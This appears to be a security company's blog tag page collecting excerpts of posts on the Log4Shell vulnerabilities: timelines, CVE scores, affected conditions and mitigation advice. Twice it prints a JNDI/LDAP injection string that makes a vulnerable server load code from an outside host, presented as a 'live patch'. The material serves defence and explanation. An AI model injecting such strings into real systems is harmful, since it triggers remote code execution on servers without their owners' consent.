7 posts tagged with "log4shell"

TL;DR - The latest vulnerabilities found in Log4j 2.17.0 are much less serious than the hype would suggest. Continue to patch your systems to at least Log4j 2.17.0 (Java 8) or 2.12.3 (Java 7).

Anyone on this train deserves a much-needed break.

After a DOS attack with limited impact was discovered in 2.16.0 and log4j was updated to 2.17.0 to fix it, another even less impactful vulnerability was discovered in 2.17.0. I wonder if we should say "vulnerability" in quotes because this latest vulnerability requires an attacker to have access to the logger configuration file, which is a very privileged and unlikely scenario. It's so minor, we have chosen not to scan for it in our Log4shell scanning tool. We hope the focus will remain on fixing the far more critical vulnerabilities in earlier versions.

In this post, we'll look at the motivations and repercussions of hyping up this far less serious attack vector. Then, we'll look at a timeline of the vulnerabilities discovered in log4j, ending with this latest vulnerability.

Originally Posted @ December 12th & Last Updated @ December 19th, 3:37pm PST

Also read: Our analysis of CVE-2021-45046 (a second log4j vulnerability).

A few days ago, a serious new vulnerability was identified in Apache log4j v2 and published as CVE-2021-44228. We were one of the first security companies to write about it, and we named it "Log4Shell".

This guide will help you:

1. Find trusted sources for Log4Shell information
2. Determine if you are impacted by Log4Shell
3. Mitigate the Issue

Originally Posted @ December 14th & Last Updated @ December 19th, 3:37pm PST

Just trying to fix this? Please read our dedicated Mitigation Guide.

After the log4j maintainers released version 2.15.0 to address the Log4Shell vulnerability, an additional attack vector was identified and reported in CVE-2021-45046.

Our research into this shows that this new CVE invalidates previous mitigations used to protect versions 2.7.0 <= Apache log4j <= 2.14.1 from Log4Shell in some cases.

Conditions for the vulnerability​

You may still be vulnerable to Log4Shell (RCE), if you only enabled the formatMsgNoLookups flag or set %m{nolookups} when you also set data in the ThreadContext with attacker controlled data. In this case, you must upgrade to >= 2.15.0, or else you will still be vulnerable to RCE.

Originally Posted @ December 15th & Last Updated @ December 19th, 3:37pm PST

TL;DR: This string will temporarily fix your systems by patching them against Log4Shell, but please read the rest of this post before you use it! Update: We posted a follow-up post with a technical deep-dive into how this exploit works.

${jndi:ldap://patch.log4shell.com:1389/a}

If you're looking for resources on how to detect and patch yourself against Log4Shell, please also read our in-depth Mitigation Guide.

Why Log4Shell is an especially painful vulnerability​

Mitigating a vulnerability in a single dependency used by your project typically requires a lot of work:

• Code must be written.
• Tests must pass.
• Changes must be approved.
• It must be deployed.
• And, finally, it must be monitored.

Additionally, a vulnerability in a logging framework, especially one as prolific as log4j, is often not a single vulnerability in a single dependency. Mitigating Log4Shell isn't just a matter of updating your code, but also requires updating all of your dependencies that are also using log4j.

Now repeat that 50+ times for every service you own. Welcome to Log4Shell!

The logo gets worse as the situation gets worse...

Originally Posted @ December 17th & Last Updated @ December 19th, 3:37pm PST

Earlier today, the second Log4j vulnerability (CVE-2021-45046), was upgraded from a CVSS score of 3.7 (limited DOS) to a CVSS score of 9.0 (limited RCE). Note: the reported limited RCE has only been proven to be exploitable on macOS at the moment. We expect, in time, that other operating systems will also be shown to be exploitable. Update: More operating systems have been showing to be vulnerable: MacOS, Fedora, Arch Linux, and Alpine Linux.

See the bottom of this post for an example exploit payload that bypasses the checks in log4j 2.15.0.

Just trying to patch Log4Shell? Please read our dedicated Mitigation Guide.

Context on CVE Timeline​

The Log4j team had previously released version 2.15.0 on December 6th to address, which at the time had only been privately disclosed, the Log4Shell vulnerability that abused JNDI and LDAP to allow for an easily exploitable RCE vulnerability. We posted a blog post about this new RCE that, at the time, was only being posted about by the Chinese InfoSec community on December 9th, 2021. This post made the broader InfoSec community aware of the ongoing exploitation and resulted in a frenzy as Java developers worked to patch themselves.

The following day, on December 10th, an official CVE was associated with this RCE vulnerability as CVE-2021-44228 with the maximum possible CVSS score of 10.0.

In the days afterwards, it was realized that this fix was incomplete as bypasses were found that could result in a limited DOS for 2.15.0 users, and, for users that had patched older Log4j releases using formatMsgNoLookups, these bypasses could be used to allow for limited RCE.

Version 2.16.0 was released on December 13th to address the vulnerabilities by completely disabling JNDI by default. The next day, on December 14th, the second vulnerability was officially given a dedicated CVE numbered CVE-2021-45046 with a limited 3.7 (now 9.0).

In this post, we're going to talk about the impact of these changes, and about why the CVSS score has changed so drastically.

Technical Analysis: Understanding the Live Patch​

The other day we published a Log4Shell payload that, when used to exploit a server, would patch the server against future exploitation from Log4Shell. You can read through our post explaining why we built it here.

It looks like this:

${jndi:ldap://patch.log4shell.com:1389/a}

In this post, we're going to dissect what's going on with this live patch to explain how it works. If you're curious to dig into this more, you can view the code on GitHub too.

Originally Posted @ December 9th & Last Updated @ August 1st, 3:30pm PDT

Fixing Log4Shell? Claim a free vulnerability scan on our dedicated security platform and generate a detailed report in minutes.

What is it?​

On Thursday, December 9th a 0-day exploit in the popular Java logging library log4j (version 2), called Log4Shell, was discovered that results in Remote Code Execution (RCE) simply by logging a certain string.

Given how ubiquitous this library is, the severity of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.

The 0-day was tweeted along with a POC posted on GitHub. While we had initially given it the name "Log4Shell", the vulnerability has now been published as CVE-2021-44228 on NVD.

This post provides resources to help you understand the vulnerability and how to mitigate it.